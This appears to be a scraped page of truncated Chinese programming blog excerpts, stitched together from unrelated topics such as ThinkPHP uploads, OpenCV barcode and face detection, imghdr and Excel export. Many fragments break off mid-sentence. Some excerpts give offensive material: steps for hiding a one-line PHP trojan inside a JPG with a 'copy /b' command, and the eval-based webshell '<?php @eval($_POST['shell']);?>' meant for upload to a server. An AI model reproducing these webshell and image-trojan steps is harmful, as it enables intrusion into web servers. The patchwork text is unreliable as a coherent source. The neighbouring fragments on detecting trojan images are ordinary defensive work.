目录 1.案例 1.1图片上传  1.2进行图片木马检测   1.3缩略图生成   1.4控制器中调用缩略图生成方法 1.案例 前言:在thinkphp框架的Thinkphp/Library/Think文件中有Upload.class.php(文件上传类),我们上传文件或者图片都要用到这个类 1.1图片上传 HTML代码 <form id="addForm" action="" method="post"> <input nam

  用 Python 和 OpenCV 检测图片上的的条形码 这篇博文的目的是应用计算机视觉和图像处理技术,展示一个条形码检测的基本实现.我所实现的算法本质上基于StackOverflow 上的这个问题,浏览代码之后,我提供了一些对原始算法的更新和改进. 首先需要留意的是,这个算法并不是对所有条形码有效,但会给你基本的关于应用什么类型的技术的直觉. 假设我们要检测下图中的条形码: 图1:包含条形码的示例图片 现在让我们开始写点代码,新建一个文件,命名为detect_barcode.py,打开并编

//Howard 2013-07-19 //如何检测app是否包含PIE标志? 答:使用xCode自带的otool工具. otool程序在Xcode.app/Contents/Developer/usr/bin目录下, 假设xCode放在 系统的应用程序目录,它所在是/Applications/Xcode.app/Contents/Developer/usr/bin (1)使用终端,进入otool所在目录: cd /Applications/Xcode.app/Contents/Develope

1.当android studio 在使用png格式的时候,会报一系列的错误,甚至会显示找不到R文件,这是因为Android studio 不支持png格式的图片,检测图片的合法性的时候会报错 解决方案一: 在build-gradle文件中找到 defaultConfig { } 在最下面添加:     aaptOptions.cruncherEnabled = false     aaptOptions.useNewCruncher = false(注意大小写,还有后面没有标点符号) defa

1. imghdr是什么 imghdr是一个用来检测图片类型的模块,传递给它的可以是一个文件对象,也可以是一个字节流. 能够支持的图片格式: 2. 如何使用 提供了一个api叫做imghdr.what,这个方法接受两个参数,第一个参数是一个文件对象,第二个参数是一个字节流数组. 文件对象用来对本地文件做检测,字节流用来对网络上的做检测. 当需要对文件进行检测的时候只传入第一个参数即可. 当需要对一个字节流检测的时候第一个参数传None,第二个参数传入字节流即可,当第二个参数被指定的时候第一个参数

原文地址:http://python.jobbole.com/80448/ 假设我们要检测下图中的条形码: # load the image and convert it to grayscale 12 image = cv2.imread(args["image"]) 13 gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) 14 15 # compute the Scharr gradient magnitude representatio

APP 文件下建一个Libs目录建一个BaiduService文件,需要检测引入进行调用即可 BaiduService文件内容如下 <?php namespace App\Libs; use App\Libs\baidu\AipContentCensor; use App\Libs\baidu\AipImageCensor; class BaiduService { const APP_ID = '23841417'; const API_KEY = '22LIjvBBjMEgawNnkS8rg

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <input type="hidden" name="MAX_FILE_SIZE" id="MAX_FILE_SIZE" value="8000000" /> <input type="file" n

pointInTriangle:function(x0, y0, x1, y1, x2, y2, x3, y3) { var divisor = (y2 - y3)*(x1 - x3) + (x3 - x2)*(y1 - y3); var a = ((y2 - y3)*(x0 - x3) + (x3 - x2)*(y0 - y3)) / divisor; var b = ((y3 - y1)*(x0 - x3) + (x1 - x3)*(y0 - y3)) / divisor; var c =

非常简单,我们只需要一张图片1.jpg一句话木马写好的php文件 1.php之后我们进入到命令行.注意:将php文件和图片文件放到同一目录下,cmd也要跳转到放文件的目录下之后执行命令 copy .jpg/b + .php/a .jpg 新生成的2.jpg就是我们制作好的图片马了,之后我们就可以通过工具来进行连接了.

<?php $i=imagecreatefromjpeg("photo3.jpg");//测试图片,自己定义一个,注意路径 for ($x=0;$x<imagesx($i);$x++) { for ($y=0;$y<imagesy($i);$y++) { $rgb = imagecolorat($i,$x,$y); $r=($rgb >>16) & 0xFF; $g=($rgb >> & 0xFF; $b=$rgb &

try { Bitmap bm = new Bitmap(pics[ip]); BitmapToBytes(bm).Reverse().Take(2); } catch (Exception ex) { string imgName = Path.GetFileName(pics[ip]); File.Move(pics[ip], txtImgDir.Text + "\\badimg\\" + imgName); } public static byte[] BitmapToBytes

前言 我们在进行图片识别后需要进行进一步的处理,该文章会介绍:1.怎样取消lables;2.输出并保存(.txt)标记框的位置信息 一.去掉label 在darknet/src/image.c 收索draw_detections_v3 .在该函数对应目录下进行修改. 二.目标定位(Object localization)框的数据信息 以图片左上角为(0,0),以右下角为(1,1),这些数字均为位置或长度所在图片的比例大小. 下面的代码是实现提取上述数据并且保存到本地文件夹下: #include

之前做了个项目需要导出Excel文件 ,我在网上查了许多资料,最后终于搞定了 ,现在把代码贴到下面 先导入库文件:将文件phpoffice放在根目录的vendor下.获取文件点击:链接:https://pan.baidu.com/s/1G426c2sQKiJ453HZSHpeIQ 提取码:oj6f 接下来先说下没有图片的方法: 1. 先在application下面的command.php中添加如下的代码: function excelExport($fileName = '', $headArr

<?php echo strpos('https://www.baidu.com','https',0); ?> 默认的第三个参数就是0. 第三个参数表示查找的起始位置. 如果不存在的话,返回false.如果存在第一个的话,返回0. 注意区别,0和false是不一样的. 巧妙运用, if (strpos($v['link_url'],'https') === 0) { $v['type'] = 2; } elseif (strpos($v['link_url'],'/pages') === 0

1.检测原理 要想检测图片中是否含有木马脚本,首先从制作原理来分析这种木马程序.这种木马程序是十六进制编码写的,图片的十六进制代码中主要包含<% ( ) %>.<? ( ) ?> .<script | /script>, 所以我们可以通过检测十六进制代码来检测木马脚本. 2.解决方案 2.1编写Upload类 要想上传图片文件,我们要自己先定义一个上传文件的方法,然后方法中调用thinkphp中框架写好的Upload类,但是tp框架中的upload类没有检测木马图片的功

前几篇文章中有提到对openCV环境配置,这里再重新梳理导入和使用openCV进行简单的人脸检测(包括使用级联分类器) 一 首先导入openCVLibrary320 二 设置gradle的sdk版本号与当前项目一致 compileSdkVersion 26 buildToolsVersion "26.0.2" defaultConfig { minSdkVersion 14 targetSdkVersion 26 } 三 新建 jniLibs 目录 在 app/src/main 目录下

上学时候用matlab学过一些图像处理的基础知识,当时课程作业是用haar实现人脸检测 but当时是心思根本不在图像处理上,so找了个同学帮忙做的,自己没上心 然鹅天道好轮回,现在捡起来了原来的算法一脸懵逼,自己挖的坑再深也得跳下去啊! 先上一张经典的lena图镇场子! 流程图: 读取一张图片→转灰度图→人眼/人脸检测→标识出来→显示/保存结果 其中,重中之重就是怎样进行检测?下面主要讲一下openCV中现成的一种算法——Haar 算法详解请参考https://blog.csdn.net/pla

文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create_function() array_map() array_filter() call_user_func() call_user_func_array() eval() 将字符串当作PHP代码执行,注意一定要带分号: <?php @eval($_POST['shell']);?> 将含有这个代码的PHP文件上传到服务器,命名为webshell.ph

Lazy Load 是一个用 JavaScript 编写的 jQuery 插件. 它可以延迟加载长页面中的图片. 在浏览器可视区域外的图片不会被载入, 直到用户将页面滚动到它们所在的位置. 这与图片预加载的处理方式正好是相反的. 在包含很多大图片长页面中延迟加载图片可以加快页面加载速度. 浏览器将会在加载可见图片之后即进入就绪状态. 在某些情况下还可以帮助降低服务器负担. 使用方法: Lazy Load 依赖于 jQuery.所有在head区域需要加入jquery和jQuery.lazyload

开篇前言 Linux服务器一直给我们的印象是安全.稳定.可靠,性能卓越.由于一来Linux本身的安全机制,Linux上的病毒.木马较少,二则由于宣称Linux是最安全的操作系统,导致很多人对Linux的安全性有个误解:以为它永远不会感染病毒.木马:以为它没有安全漏洞.所以很多Linux服务器都是裸奔的.其实在这次事件之前,我对Linux的安全性方面的认识.重视程度也是有所不足的.系统的安全性是相对而言的,没有绝对的安全,风险无处不在.   案例描述 我们在云端(中信国际电讯CPC)的一台Linu